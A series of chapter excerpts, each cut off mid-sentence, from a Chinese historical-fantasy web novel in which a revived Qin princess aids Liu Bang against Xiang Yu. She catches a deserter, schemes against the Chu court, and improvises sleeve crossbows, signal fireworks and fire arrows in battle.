“还真是魏豹这个狗东西,乃公待他不错,竟然偷摸扎乃公刀子!” 刘邦破口大骂的声音引起了阴嫚的注意。一走进院子,阴嫚就看到刘邦掐着腰,边走边骂:“等乃公找到他,非把他打得连亲父都认不出来,让他知道忘恩负义的下场——” 叫骂声戛然而止,倒吸凉气回荡在庭院中。阴嫚疑惑地看着刘邦,只见对方的神情正处于愤怒和恐慌之间,显得他这张脸十分扭曲。 许是刘邦的叫骂声停得太突然,让其他人也不约而同地看向她,霎时间。吸气声在院子里此起彼伏地响起。 阴嫚:“……”我不就是穿了件白衣服,披着头发出来了吗?瞅你们那小胆。 张良从屋子里走了出来,见到她停顿了半晌,才说道:“公主您也来了。” 阴嫚的声音不咸不淡道:“啊,来了。就是感觉诸君不太欢迎我。” “那哪能啊!公主能来帮忙,老刘我开心还来不及呢。”刘邦立刻拿着火把迎了上来,“就是黑灯瞎火的,一时间没认出公主,这边请。” 阴嫚在心里吐槽刘邦,你现在要是没偷摸观察我有没有影子,我说不定还能信你的话。 “若此时让魏王回到魏国,与楚军联合夹击。这于汉军不利。我们得尽快追回魏王。咳咳。”夜里风大,张良身体不好,半握着拳头抵在唇边咳了两声。 刘邦立刻说道:“深夜寒凉,子房你身体不好,我们还是进屋说吧。” 进了屋后,萧何指着地图说道:“从荥阳道河津有三条路可走。如果我们速度够快,应当能拦住他。” 刘邦闻言立刻派樊哙去追,令其务必在魏豹赶回魏国前抓住魏豹。 在樊哙带兵出发后,屋中的众人不约而同地安静了下来,风声和木门吱吱呀呀的声响经久不绝。 随着时间一分一秒地过去,刘邦终于忍不住地骂道:“等魏豹这厮回来,乃公一定要砍了他!” “大王宽心,我们发现得及时,魏豹走不远的。” 阴嫚一面听着卢绾宽慰刘邦,一面盯着自己的手。火光染红了素白的手,那些细小的伤痕也变成了红色,这是她从九幽深处爬回人间的证明。等等!伤疤。她记得魏豹的手背上有一条伤疤,而刚才的那个兵卒也有一个一模一样的伤疤! “什么?”众人惊讶。 卢绾不信:“巧合吧。” 阴嫚看向卢绾:“那我再问一个问题,我们为什么肯定魏豹出城了?” 卢绾看了她一眼不屑 13. 第 13 章 《秦公主阴嫚》全本免费阅读 越是靠近盛夏,阳光便越是轻快明亮。湖水绿得深沉,水藻随波逐流。 平静的湖面上起了涟漪,水花溅到了岸上。阴嫚垂眸,看到两条鱼在打架。两条鱼都受了伤,鳞片脱落,血丝从皮肉中渗出。被血腥味吸引来的小鱼围在两条鱼的身边,虎视眈眈地盯着,想来要坐收渔翁之利。她心道,还是挺应景的。 银亮的光从湖面掠过,阴嫚下意识地回避,却在余光中瞥见了从廊下走来的韩信。 韩信甲胄未脱,脸上带着灰尘,看起来像是一结束战斗就快马加鞭地赶回荥阳城。 与此同时,一条大鱼跃出水面,摆脱了困局。 “咦?公主!”灌婴眼尖,瞄到了她,热情地挥舞手臂。 阴嫚微微颔首,算是回应。 “荥阳这两天发生的事情,我在京县都听说了,公主你是这个!”灌婴冲着阴嫚竖起大拇指,又见韩信不说话,遂抬手一推,“好不容易才见到公主,大将军你怎么不说两句?” 韩信毫无防备,被灌婴推得踉跄。在稳住身体后,他转头瞪了罪魁祸首一眼。 灌婴咳了一下,转身看天看水看风景去了。 为什么要让韩信跟我说两句?阴嫚心道,我们两个不过是在刘邦手底下做事的一对同事,虽然我调侃过韩信,但那也不过是在找乐子而已。这样要是算好友的话,那我的好友早就遍布天下了。 “信赢了。” 韩信的话打断了阴嫚的思绪。她抬起头就对上了韩信亮晶晶的眼睛,这让她觉得自己应该说点什么。阴嫚模仿着记忆中的父皇,说道:“大将军征战辛苦了。汉军之危能解,全仰赖于将军足智多谋。果如汉王所言,国士无双,千金难求。” “公主谬赞了!”韩信看起来很开心。 就是一句客套话而已,至于这么开心吗?阴嫚不免有些惊讶,她打量着韩信心道,感觉这人有点好骗是怎么回事? “就这些?不对吧,大将军你当初——”灌婴跳了出来,然而话还没说完,这些话就跟着闷哼一起回到了肚子里。 韩信收起行凶的胳膊,依旧礼数周全道:“汉王还在等信,信就先行告退了。”说完,他扯过灌婴的胳膊,将人拖走了 阴嫚见状笑了一下,年轻人还是挺有意思的。 京索之战的大胜化解了汉军的尴尬处境,刘邦大喜,摆酒设宴款待众人。 歌舞升平,管弦不断,欢声笑语随处可见,堪称人间极乐。 但阴嫚兴致缺缺甚至还有点烦,要不是刘邦极力邀请,她才不会到这么吵闹的场合。她的视线漫无目的地流窜在人群中,忽然一个身影吸引了她的注意力。 那人一直“埋头苦吃”,任凭旁人说得多么开心,他都纹丝不动,满心满眼都是食器里的食物。当阴嫚看清那人的脸后,她愣怔片刻,不愧是你,韩信。你这画风确实很清奇。 “趁着今天这个好日子,我要宣布一件事情。”只见刘邦端着酒杯一本正经道:“我要封我儿刘盈为太子,由他替我前往栎阳监国。” 此话一出,群臣立刻称道:“大王英明。” 阴嫚观察了吕雉和戚姬的神情,一个喜不胜收,眼角眉梢间满是得意,另一个则是强颜欢笑,眼中满是不甘。她放下酒杯感叹,一场更麻烦的攻坚战要开始了。 “另外,汉军能脱离困境也多亏了公主。”刘邦端起酒杯,“我敬公主一杯。” 哦,原来还有我的事。阴嫚想。 喝完酒,刘邦言辞恳切地对阴嫚说:“说实话老刘我有一个不情之请。” 你可以不说,阴嫚心道。她道:“汉王请讲。” “公主之才远超常人,大汉正值疲敝之时,亟需公主这样的人才。故而我欲以万户食邑,请公主掌汉兵武库事。” 这下所有人的目光都落在了阴嫚的身上。阴嫚在心里吐槽,我就知道你没憋好屁。武库令,自然要跟着大军行动。这就意味着她要跟吕雉母子分开。阴嫚在心里叹了口气,我就知道会这样。她端起酒器道:“汉王言重了。吾自当尽力。” 得到满意的答复后,刘邦喜笑颜开,宴会又一次热闹起来。酒液中是一片粼粼波光,一轮明月映在其中。在不知不觉中,酒香变成了茶香。 “你刚刚为什么拦着我?他明明是要分开你我!”吕雉不满道。 “汉王心意已决,是不会轻易改变的。既然是这样,夫人又何必去讨个没趣?”阴嫚喝了口茶水劝道。 吕雉皱着眉头:“公主一点也不惊讶?” “自从给章邯写信后,我就有所感觉。”阴嫚撑着头似笑非笑,“一个与秦臣有旧的人,真的让人放心吗?夫人。” 吕雉没说话。 阴嫚看着茶杯中的月亮:“与其在意我,夫人更应该在意太子之位。戚姬不会就此罢休,公子要坐稳太子之位还早着呢。” 一直沉默的刘盈爆发了,他大喊道:“那我就不要当太子了!” 吕雉面露惊恐,连忙捂住了刘盈的嘴,确定无人后,才怒斥道:“你在说什么胡话!” 刘盈拉开吕雉的手,大声道:“我没有说胡话,我就是不要当太子了!” “刘盈!”吕雉被气得胸膛起伏,大口喘气。 刘婠惊道:“阿盈你疯了!” “我没疯!”刘盈梗着脖子,“就算阿母今日打死我,我也不要做太子了!” “你——”吕雉扬起手欲给刘盈一个巴掌。 阴嫚截住了吕雉的手,看着突然犯浑的刘盈:“你想让我们死就去跟汉王说你不当太子了。” 她冷冰冰的话让沸腾的屋子骤然降温,而刚刚还是倔强不肯认输的刘盈气势弱了下来。 “你以为你不当太子事情就会变得简单吗?”阴嫚眼神冷漠,“不会。戚姬已经视你我为眼中钉,现在将太子之位献出去,就是把屠刀交到了别人手上,让你,让我,还有你的母亲阿姊都成了砧板上的鱼肉。” 刘盈怔怔地看着阴嫚,身体不自觉地颤抖,仿佛轻轻一碰就会破碎。但她无动于衷,嘴里吐出的话越发的残忍:“事到如今,你以为自己有说不的权力吗?” 疾风吹灭了蜡烛,室内陷入一片昏暗。清冷的月光倾斜而下,落在阴嫚的身上,衬得她像一尊没有感情的雕塑。 “不爬到那个位置,你保护不了想要保护的人,也留不住想要留下的人。” “我知道的,我知道的。可登上那个位置就一定要跟老师分开吗?阿父走了,就变了。现在走了,我又没有老师了,我不要……”刘盈的话颠三倒四,但不难理解。他所惧怕的无外乎,物是人非四个字。 月光越来越淡,最后销 14. 第 14 章 《秦公主阴嫚》全本免费阅读 韩信?阴嫚在看到韩信后,愣了一下,怎么是他? 韩信的小臂结实,抓起来硬邦邦的。许是因为又被吓到了,他的眼睛变得浑圆,看起来有些可怜。 阴嫚虽然松了手,但还是面无表情地问他:“大将军也会亲自刺探军情?” “我没有!”韩信连忙否认,但在与阴嫚的视线相对后,他又有些底气不足:“信只是路过,然后,就一不小心听到了,不是故意的。” 韩信的身上带着雨水湿冷的气息,想必是在这里站了许久。阴嫚咋舌,我跟刘盈还有萧何的话估计全被他听去了,当真是屋漏偏逢连夜雨[1]。 似是察觉到了阴嫚的不悦,韩信抬起手对天发誓:“信发誓,我真的不是故意听到的!而且信保证今日之事绝不外传。”而后韩信像是想到什么,又补充:“信绝对不会借此要挟公主的,我可以发誓。” 饶是想了许多可能,阴嫚也没料到韩信会说出这样的话。她半信半疑地看着韩信:“不求回报?” 韩信望着她,眼眸干净纯粹:“无论是否有意,偷听就是不对,信是在尽力弥补。是时风气虽为阿谀奉承,趋炎附势,威逼利诱,但信不欲为此态也,还请公主信我。”一字一句皆出自肺腑,令人振聋发聩。 见韩信不似作假的神情,阴嫚收起了戒备:“是我以小人之心度君子之腹[2]了,唐突了大将军,还请见谅。” “公主心情不好?”韩信试探着问道。 阴嫚重新看向韩信,她本以为这人客套几句后就会离开,却不想他关心起自己的心情。韩信,她在心里默念这个名字,觉得赤诚正直这四个字跟这个名字很搭。 韩信误以为阴嫚又误会了他,连忙解释:“我只是觉得公主与吕夫人母子分别,又跟丞相言语冲突,心情应该不太好。” 阴嫚恍然,竟没想到韩信会看出她心情欠佳。她按了按太阳穴,情绪外漏,可不是件好事。 忽然一枚青色的李子出现在她的眼前,阴嫚看了看李子,又看了看韩信,丢出两个字:“何意?” “信是想说公主要不要尝一尝新摘的李子,心情不好的时候吃些东西,或许能让心情变好一点。”韩信一副过来人的样子。 “收买我?”阴嫚嘴上说着却伸出手拿走了李子,咬了一口。 韩信也不恼,一脸期待地看着她:“怎么样?” 李子酸甜的果汁弥漫在口腔中,减轻了头疼带来的恶心感。身体的不适消失,她的心情自然也明媚了几分。阴嫚是个实话实说的性子,听到韩信的问话,大方承认:“好了点。大将军不但治军有方,对挑选果实也很有心得。” “公主喜欢就好。”韩信眉眼弯弯看起来很开心。 阴嫚狐疑,有这么值得开心吗? 许是李子开胃,阴嫚终于生出了吃饭的心思。本着不欠别人的原则,她问韩信:“大将军用膳了吗?” 韩信下意识地回了一句没吃。 “那你运气不错,我也没吃。去我那用饭吧,就当还李子的恩情。”说完,阴嫚便以不容拒绝的态度把人带走了。 虽说是肚子饿了,但阴嫚食量太小只能吃一碗。下的一锅菜粥和两个馒头都进了韩信的肚子里。 看着大口吃饭的韩信,阴嫚想起了前几日的宴席,她的目光落在了韩信的肚子上,心道,这人的肚子怕是连了个黑洞。 韩信放下了碗,擦了擦嘴,发现阴嫚正在看他,脸上出现了尴尬之色,又变得坐立难安起来。他正欲解释,阴嫚却把话题引到了另一处:“大将军竟然听到了全部,难道不会生出跟丞相同样的疑虑—我这个来历不明的公主是否别有用心,危及大汉。” “没有。信虽会因为公主与章邯关系匪浅进而怀疑公主的身份,但不会因此怀疑公主另有所图。”韩信坦诚直白,“以信对公主的了解,公主若心有不轨,汉军可以胜,但不会如现在一般全身而退。” “为何觉得汉军还会胜?”阴嫚看着韩信。 韩信眉梢上挑,嘴角扬起,理所当然道:“因为有信啊。有信在,汉军就不会败。” 这话如一阵狂风,吹散了盘踞在阴嫚心头的乌云。她笑了一下:“自大。” “信才不是自大。”韩信认真地反驳。 阴嫚看着眼前明亮而耀眼的青年,心想,难怪人们都喜欢年轻人,这样蓬勃旺盛的生命力确实能给人带来好心情。她换了个话题:“连弩用得可趁手?”既然领了差事她自不会消极怠工,这几天改良了现有的弩机,使其使用起来更加方便了。 说起自己擅长的领域,韩信的眼神亮了起来,他先是总结了弩机改良后变得小巧轻便,更利于作战的特点,而后又兴致勃勃地追问阴嫚近日还有什么奇思妙想。 现在倒是知道怎么跟异性相处了,阴嫚看着韩信撇撇嘴心道,果然无论是谁,只要投入到自己感兴趣的事情里,就算天塌了都不在乎。 她摇了摇头说道:“倒是想到了不少稀奇的点子,但大将军也知道,战场之上实用为上。稀奇古怪的武器使用起来有门槛,普通兵卒难以操控,我还需要再斟酌一二。不过倒是可以趁着这段时间想一想该如何提高冶炼技术,让武器更加坚固耐用。” “言之有理。”韩信点头,“武器归根到底是要给普通兵卒使用的。上手快,耐使用才是最重要的。” “趁手的兵器或许种类单一,但兵种本身的作战方式,还有兵种之间的搭配则是无穷的。”阴嫚放下茶盏说道,“我想大将军应当能琢磨出一些有趣的作战方式。” 韩信颇为惊异地看向阴嫚:“公主如此信我?” 阴嫚又起了捉弄的心思:“不是大将军自己说的,有你在,汉军百战百胜吗?难道大将军刚刚是在逞口舌之快?” “没有!”韩信目光灼灼,否认道,“信从不夸大其词。”< 15. 第 15 章 《秦公主阴嫚》全本免费阅读 晨光明媚,空气尚好。 阴嫚懒懒地打了个哈欠向前院走去,路上遇到了韩信。 “公主。” “大将军。” 韩信深吸一口气,鼓足勇气对阴嫚说:“项王性情刚烈易怒,但极为看重脸面,若是将自己的生死与他的脸面连在一起,便不会有危险。” 似乎是担心阴嫚误会,韩信又做了补充:“信并非小看公主,只是想帮公主……” 阴嫚从困惑变为讶然,她没料到韩信会来提点她。自打从昏迷中醒来,这还是她第一次得到别人的主动帮助,这感觉倒是有些奇妙。看着紧张的韩信,她的嘴角勾起一抹小小的弧度,轻声道:“谢谢。” 冷不防地听到自己的道谢,韩信怔怔地望着她。 这是什么表情?阴嫚不满地想,我承认自己嚣张任性,但不至于连谢谢都不会说吧。不过看在你帮忙的份上,就不计较了。她又道:“陈中尉还在等我,先走了。” “哦。”韩信下意识地应了一声。 阴嫚眉头微挑,这人真是兵仙吗?好呆啊。 古代的出行真的不方便,交通工具落后不说,连道路也是坑洼不平。每颠一次,就让坐在马车里的阴嫚有一种骨头错位的感觉。不知过了多久,阴嫚一行人终于到了楚军大营。 阴嫚按了按自己的腰庆幸地想,我的腰间盘是保住了。 只不过楚汉交战,心平气和的交涉本就是难如登天,更何况还要跟陈平联手设计项羽和范增。如预料中的一样,光是见到项羽就要费些力气。但好在陈平提前打听清楚,范增今日与魏国使臣见面一时半会儿赶不回来。范增不在,给他们发挥的空间就更多了。 依照计划,她伸出手挑起帘子,轻言慢语道:“今日前来不过是送几个人,替汉王捎几句话罢了。既然项王不在,那就有劳这位将军代为传达了。对了陈中尉,汉王要说什么来着?” 陈平答道:“回公主的话,是‘项王要取刘某的性命,尽管来便是。只是暗箭伤人实在不光彩,刘某还是希望与霸王在战场上明火执仗的厮杀一番,这才是大丈夫所为。’” “话已经带到,我也懒着与无耻之辈多说一个字,那几个刺客给他们留下,我们回去吧。” 阴嫚的语气并不激烈,但每一个字都透露着极致的蔑视,让人萌生出一股被羞辱的感觉。刚刚还得意洋洋的楚将脸色铁青,一双虎目中燃烧着熊熊怒火,好似要将他们生吞活剥了。 “敢在本王的大帐前污蔑本王,就不怕血溅三尺吗?”那声音如闷雷,音调不高,但令人心生畏惧。 楚人纷纷面露喜色高呼大王。 雪白的马蹄出现在阴嫚的视野中,乌骓马不愧为青史留名的名驹,皮毛黑而油亮,四肢线条流畅,令它充满了力量美。 再看向马背的项羽,虎背熊腰,剑眉冷眼,仅仅是被他盯着就感到了无限压力。 阴嫚却笑了一下,我这时间掐算得不错,第一个角入场了。 “怎么哑巴了?你这妇人刚刚不是很能说吗?”项羽的声音再度响起,声音中夹杂了几分不屑与嘲弄。 “该说的都说完了。还有什么可说的,项王留步,我等该回去了。”她无动于衷,对着陈平说道,“陈中尉我们该走了。” 项羽自不会放任他们离开,宝剑出鞘,白光一闪,陈平的惊呼随之响起:“项王您这是作甚!” “污蔑完人就想走,天底下可没有这样的事情。陈平你这叛徒莫不是忘了自己还欠本王一条命?”锋利的宝剑在陈平的颈部留下一条细小的血痕。 “两军交战不斩来使。”阴嫚提醒道,“况且良禽择木而栖[1],陈中尉又不是做了项氏的家仆,想去哪是他的自由。项王如此,未免有失风范了。” 项羽这才正视阴嫚,却在看清她的脸后愣怔片刻。黑发红唇,与苍白的脸形成鲜明的对比。尤其被这双黑瞳盯着时,更是让她、他无端想起了子婴临行前的眼神,没有恐惧,没有慌张,只有未能力挽狂澜的遗憾,还有对他的同情。 他堂堂西楚霸王,竟然被一个快要死的人同情,这对他来说简直是奇耻大辱!好不容易淡忘了那股耻辱感,如今却又被眼前的女人勾了起来,这令他很是不快。 “你是谁?”项羽将剑对向了车中的阴嫚,“跟秦人是什么关系?” 若是常人早就被项羽的阵仗吓到了,但对阴嫚这种生死看淡的人来说根本算不上什么。她轻描淡写道:“项王的仇人吧,毕竟您杀了我不少亲族呢。至于跟秦人有什么关系,自然是秦楚联姻的产物了。” 一时间现场变得鸦雀无声。 “既然项王来了,那我就再说一遍。想要取汉王的命可以在战场上厮杀,请不要再耍一些不入流的手段。汉王又不是那毫无反抗之力的义帝,您看,派去的刺客被人抓到又送回来,这不是很丢脸?” 项羽的剑向前递进:“你们以为随便抓两个人送来,本王就会认吗?” “认与不认不都是事实?”阴嫚拨开面前的剑,朱红色的蔻丹在阳光下闪闪发光,“丹青史书总会留下记载。这是您杀了我,也改变不了的事实。但我觉得项王不是敢做不敢认之人,莫不是其中有误会?” 这话明里暗里都在说有人越俎代庖,企图架空项羽。 “放肆!”楚将怒斥阴嫚,“妖女休得挑拨离间!” “挑拨离间?难道说了真话就是挑拨离间?”阴嫚掩唇,看向沉默的项羽。 她想,项羽这个人疑心病重,刚才楚将极力呵斥她的举动就已经勾起了项羽的疑心。 但项羽此刻不会发作,一来御下无方说出去丢人,二来是要稳定自己在军中的威严,不能让围观的楚卒看出他这个大王管不住手底下的人了。 基于以上两点,项羽是不会杀了她和陈平。毕竟杀了他们,只会为他招来恼羞成怒欲盖弥彰的风言风语。项羽现在只能咬死不认。 只见项羽一剑捅入刺客的胸膛,杀了刺客、他抬着下颌看向阴嫚:“想要往本王身上泼脏水,痴心妄想。回去告诉刘季,是他该收收心思。” 阴嫚眉眼弯弯,又丢一个炸/弹:“看来这一切都是魏豹向项王投诚的自作主张。既然误会解除,那我们就战场上见了。” 看着阴嫚那张恶意满满的笑容,项羽攥紧了拳头。但比起被敌人挖苦,他更是恼怒于被自己人蒙在鼓里。 “疯女人!”项庄啐了一口唾沫,追着项羽进了大帐,“大王你就这么把他们放了?他们——” 项羽一把抓住了项庄的衣领,迫切地追问:“项庄你实话告诉本王,刺杀到底是怎么回事?” “ 16. 第 16 章 《秦公主阴嫚》全本免费阅读 一支箭擦着阴嫚的鬓角扎进了马车的木板上。但她依旧波澜不惊地对陈平说:“来了。中尉你该说两句了。” 陈平:“……” 陈平:“斩杀来使,项王难道就不怕天下人耻笑吗!” “大王傲视群雄,何惧人言!陈平小儿拿命来!”项庄大呵一声,带人冲了过来。 短兵相接,双方在楚汉交界处打成一团,分不清敌我。断裂的剑跌落在草地中,黏稠的鲜血盖在草茎上,原本安静的山道顿时变得杀气四溢。 阴嫚端坐在马车上,泰然自若的样子让人佩服。 马车的门被项庄粗暴地推开,他伸出手,欲将阴嫚拖下马车。然而在下一秒,他瞪大了双眼难以置信地看着插在自己胸口的短箭。 阴嫚收起袖箭,用着稀松平常的语气对项庄说道:“项将军,过于小瞧你的对手,会死的。” 项庄连话都来不及说,就摔在了地上。没了主心骨的楚军见状溃散而逃,但他们很快被闻讯而来的汉军援兵尽数抓获,押送到陈平面前。 陈平看着躺在地上的项庄,迟疑道:“项庄这是……死了?” “他是重要的棋子,在没有发挥作用前,我是不会让他死的。”阴嫚注意到了陈平胳膊上的伤口,“你受伤了?” “一点小伤,不成大问题。”陈平撕下布条,在胳膊上草草地拦了几道,用以止血,冲着她抱拳,“今日全身而退全仰仗公主,平不胜感激。” 阴嫚哦了一声,不做任何表态。毕竟她心如明镜,在陈平的计划中,就算自己不出手,他们今天也会平安无事。 “中尉,人已经全部拿下,现在该如何处置?”校尉行礼后询问。 陈平摆出一副大国使臣的姿态:“谅你们是不知情的,今日就放你们一马。回去告诉你们大王,管好自己的下属,免得丢了自己的脸面。”他抬了抬手,让这群楚卒把项庄抬回去。 阴嫚冷眼旁观,这套组合拳下来,项羽和范增共患难的情分也就到此为止了。她不禁感叹,自以为是的爱总会以悲剧收尾。 “好,很好。项氏中人本就对范增颇有微词,只是碍于项羽的面子才没发作,但现在可就不一样了。他接二连三地背着项羽对我下手,定会被项羽那小子猜忌。”刘邦抚掌,一脸得意,“接下来我们就静观项氏内斗好了。” 阴嫚抿了口茶水,静静地听着刘邦的“获奖感言”。 “对了公主,我听陈平说你会无弓射箭,还重伤了项庄?”刘邦满眼好奇地看向她。 “并不是无弓射箭,我只是将弓弩的体积缩小到了几寸而已。”阴嫚将袖箭摆在案上,“本打算找个时间试试威力,刚好项庄送上门了,就拿他练了练手,没想到效果不错。趁此机会我就把它送给汉王做防身武器吧。” 刘邦把玩着箭筒,问她:“这东西怎么用?” “将箭筒佩戴在手腕处,戴上指环,然后将箭插入箭筒,最后——”阴嫚顿了一下,等刘邦对准不远处的青铜灯台后,才继续说道,“最后抬起戴着指环的手指就可以了。” 话音刚落,一道黑影从刘邦的袖子飞出,在众人眼前快速划过,叮的一声,青铜烛台应声倒地。 刘邦眨了眨眼睛,惊讶极了:“乖乖,这东西好生厉害。公主你当真是鲁墨再世!” 阴嫚淡声道:“汉王谬赞了。雕虫小技尔,与两位机关大家相比实在算不得什么。” “哎,这要是雕虫小技,还有什么能称为惊世大作?你就不要再谦虚了。”刘邦忍不住对着群臣吐槽,“你们一个两个的如此谦虚,显得我老刘太自满了。” 陈平含笑:“大王是自信并非自满。王有自信,则上下信心十足,自当战无不胜。” “还是你会说话。是不是跟卢绾学艺了?”刘邦笑道。 还没等陈平申辩,卢绾先开口道:“唉?大王你这话说的,好像我老卢只会拍你马屁似的。” “你们看看,这人不经说,还生气了。”刘邦指着卢绾笑道。 宴席上的众人也纷纷笑出了声。 而阴嫚只觉得自己仿佛误入了一场老友叙旧的酒局,热闹喧哗充满了人情味儿。她看向主位上的刘邦,一时也分不清,对方的开心到底是在伪装还是真情流露。 或许是人有两面,心有阴阳,寡恩温厚并不矛盾。阴嫚收回了视线,但这些对她来说都不重要,她只想在有限的时间里完成未完成的事情。 黄昏日暮鸟还巢,独倚阑干梦前尘,千思百转,心有怨。 阴嫚实在睡不着,便给自己找了些事情做。她坐在廊下,手臂搭在凭几上,翻阅着随身携带的册子,偶尔添上几笔以做补充。 西楚一日游,让她发现古代的通讯手段实在是单一了。尤其是在紧急情况下,传讯手段就只剩下发射鸣镝,但若在嘈杂的环境中鸣镝的声音很容易被忽略。所以还需要扩充通讯手段,以备不时之需。 她在记忆里翻找了一下,想起来当年曾经向父皇敬献过烟花。不过烟花后来被王翦老爷子改成了火信,用在了战场上。但改良的配方是绝密,就连她也不知道制作流程。再后来这方子就跟着咸阳宫一起消失在大火中了。 想到这里,阴嫚不禁在心里骂胡亥败家子,东西都守不住,要你何用? 仆从捧着几个罐子走进了院子,轻声询问:“公主,这些该放到哪里?” 阴嫚抬起头,环顾四周,指了指不远处的书案,对仆从说道:“就放那吧。” 三个深色的罐子依次摆放在书案上,她摆了摆手让仆从离开。 阴嫚打开其中一个罐子,取出一小块木炭放在研钵中,认真地研磨。将所有原料都磨成了粉末后,阴嫚按照配比混合。 刚准备把混合物倒进竹筒里,阴嫚又想起一件事,她似乎忘了加铜粉了。但她又想,算了,今天做的只是试验品,能窜上天炸开就谢天谢地了,颜色什么的还是等等考虑吧。 她将粉末倒进了竹筒,用泥土密封后,点燃了引线。嚓的 17. 第 17 章 《秦公主阴嫚》全本免费阅读 阴嫚看着书案上的六枚火信,自嘲地想,花了三四天才做出六枚,我这效率堪称“神速”。 “公主又造出新鲜玩意了?”刘邦的声音从身后传来。在看到书案上的火信后,刘邦毫不见外地抓起一枚火信。他先是在手里掂了掂,在里里外外,仔仔细细检查了一遍后,捏着引线,抬头问她:“这玩意怎么用?” 阴嫚拿起另一枚火信,走到院子中央,在点燃引线后,将火信向空中一抛,随着尖锐的爆鸣声响起,一朵金色的烟花绽放在空中。 刘邦睁大眼睛,看了看天空的烟花,又看了看自己手中的火信:“好家伙,这小东西竟然这么厉害!” “这是当年秦军使用的火信,用来传递军情或者示警。”阴嫚又说道,“不过现在物资紧缺,材料有限,我只能做出六枚。而刚刚用了一枚,现在就只剩下五枚,汉王要谨慎使用。” “你怎么不早说!”刘邦痛心疾首,给人一种买东西买亏了的感觉。他将剩下的火信揣在怀里,一副怕被人抢了的模样。 阴嫚:“……”倒也不必如此宝贝。她又问道:“汉王来此,所为何事?” 刘邦头也不抬道:“啊,这个啊。韩信要出发了,我琢磨你和韩信关系不错,叫你和我一起去送送他。” 阴嫚有些恍然,原来已经到韩信北伐的日子了。她看着书案上的袖箭心道,还好把袖箭做完了,不然我可就失信于人了。 她到城门的时候,韩信正在整顿队伍。 此时的韩信不见往日的拘谨,铁甲宝剑在身,冷面肃容立于军前,俨然是一个成熟稳重的大将军。不过在看到她和刘邦后,韩信又眉开眼笑起来,从冷面大将军变回那个熟悉的小青年。 “大王,公主。”韩信翻身下马,来到了她和刘邦的面前。 刘邦拉着韩信的手嘱咐韩信。大到行军打仗要注意安全,小到吃穿用度不要委屈自己,事无巨细之程度,堪比亲爹。不对,亲爹也没有这么仔细。 阴嫚的话就没有那么多,她只是将袖箭交给了韩信,说道:“希望你用不上它。” 韩信接过袖箭,郑重道:“信会好好爱护它的。” 阴嫚缓缓地打出一个问号,我怎么有一种“答非所问”的感觉?但没等她捋清楚缘由,韩信已经结束了寒暄,率军出发了。她抿了抿嘴,行吧,下次见面再说吧。 不过,她一转头就看到刘邦正在打量她,那眼神看得她毛毛的。 “我脸上有东西?”她试探地问。 “没有。只是忽然想起了一句‘关关雎鸠,在河之洲[1]。’”刘邦戏谑道。 阴嫚面色一僵,想到了老刘的好色属性,登时一股恶寒窜上心头。她果断决定有多远跑多远。于是当天下午,她就自请押运辎重了。 刘邦看着疑似落荒而逃的阴嫚满腹疑惑,荥阳里有什么东西吓到她了吗?后来他把这事讲给了陈平和子房,然后他就在两人谴责的目光中顿悟了。但他又觉得很冤,他可以对天发誓,他对这小公主不感兴趣! 然而陈平和张良却是一副“大王你不要解释了,我们都知道,但这次请你克制”的样子。 刘邦欲哭无泪,你们真的误会我了!我喜欢的是丰腴妩媚的美人,并不喜欢她这样的! 奈何他前科太多,没有一个人相信他。 刚踏入京县,阴嫚就连打了好几个喷嚏。她揉了揉鼻子心道,莫不是范增在臭骂陈平的时候把她也捎上了?啧,真是个暴躁的小老头,他难道不知道过刚易折吗? 就在她神游太虚的时候,如雷滚动的马蹄声将她从思绪中惊醒。循声看去,竟有一队骑兵向他们冲来。 阴嫚心头咯噔一声,糟了。 “楚人来了!楚人来了!”征发的民夫中传来满是恐惧的喊声。有人压抑不住心中的恐惧,竟脱离队伍逃命去了。 “回来!不许逃!”百将大喊道。 然而,陷入恐慌的民夫根本不听百将的指挥,一股脑地逃向自以为安全的地方。一人骚动,全军骚动,汉卒也开始逃命了。 阴嫚抽出佩剑斩杀了一名逃卒,凤目扫过众人,冷声道:“谁敢跑,我就让谁先死!从现在开始,伍长监督同伍中人,有逃兵就地斩杀,若放走逃兵全伍同斩!” 汩汩流血的尸体,泛着寒光的长剑,无一不在向众人声明一件事情。眼前人绝不是在说笑,她真的能杀死每一个逃卒。在震慑下,汉军的溃散得到了遏制。 好在楚骑距离尚远,阴嫚还有时间做安排。她瞄了一眼地形,汉军所在的位置背临沟壑,楚骑无法从后面偷袭。她快速思考了一番后,下令:“放鸣镝求救。盾兵一字阵,弓兵就位后立刻放箭,民夫收集箭矢供给弓兵,务必将楚骑拦在五十步之外。” 五十步,既是弓弩的有效射击范围,又能防止骑兵的长矛伤到己方。这是此时最有用的拦截方式。 不过箭矢总有用尽的时候,她得在箭矢用尽前,逼这群人下马。阴嫚从袖口摸出一小串鞭炮。做完火信剩了些材料,本着不能浪费的原则,她就做了这一小串鞭炮。但这串鞭炮实在太小,炸伤人大约不行,不过用来惊吓马匹足够了。她将鞭炮缠在箭矢上,向楚军的方向射去。 鞭炮炸开,火星四溅,战马受了惊,扬起了前蹄,将背上的主人掀了下去。战马不听指挥令楚骑的攻势减弱。 阴嫚趁着楚骑出现骚乱,翻找出了猪油并引燃了它。她有找来几根布条,缠在了箭上,最后用燃烧的猪油点燃了布条。如此,一支简易的火箭就做好了。她让民夫按照她的法子制作火箭,再让弓兵把火箭射出去。 一场火雨在阴嫚的指挥下准确无误地砸在楚骑身上,楚骑落荒而逃,局势彻底反转。 趁着汉卒士气大增,阴嫚立刻下令:“弓弩停手,短兵扑杀,盾兵矛兵相互配合,从两侧包围,不得放 18. 第 18 章 《秦公主阴嫚》全本免费阅读 边塞,苦寒之地也。隆冬未至,却已是萧条破败之景。 在天地相接处驶来一辆马车。马车停在了土坡下,一个妙龄少女跳下了车,她看向山坡,只见那里站着一个人。那人像一棵胡杨树,忠诚地扎根于边塞,永远守卫着自己的家乡。 年轻的大秦公主想,有蒙将军在,自己的兄长一定会平安无事地度过这次风波。 夕阳投射出一片绚烂的余晖,让着荒凉之景多了几分色彩。 “公主怎么来了?”蒙恬在见到阴嫚后,刚毅果断的脸上,出现了短暂的空白。 “为何不能来?阿兄在这里戍边,我作为妹妹来探望有何不可?”阴嫚眼珠子一转,脸上露出坏笑,“蒙将军是不是见我来探望阿兄,想到自己却无人探望而嫉妒了?” 蒙恬一哽,半晌才说道:“不是。公主误会了。” “哦?原来是误会了。蒙将军一点也不想念家人。”阴嫚故意拖长尾音说道,“既然如此,那给蒙将军的家书我就带回去了。” 蒙恬看向阴嫚。 阴嫚回以天真的笑容。 蒙恬无奈地唤了一声公主。 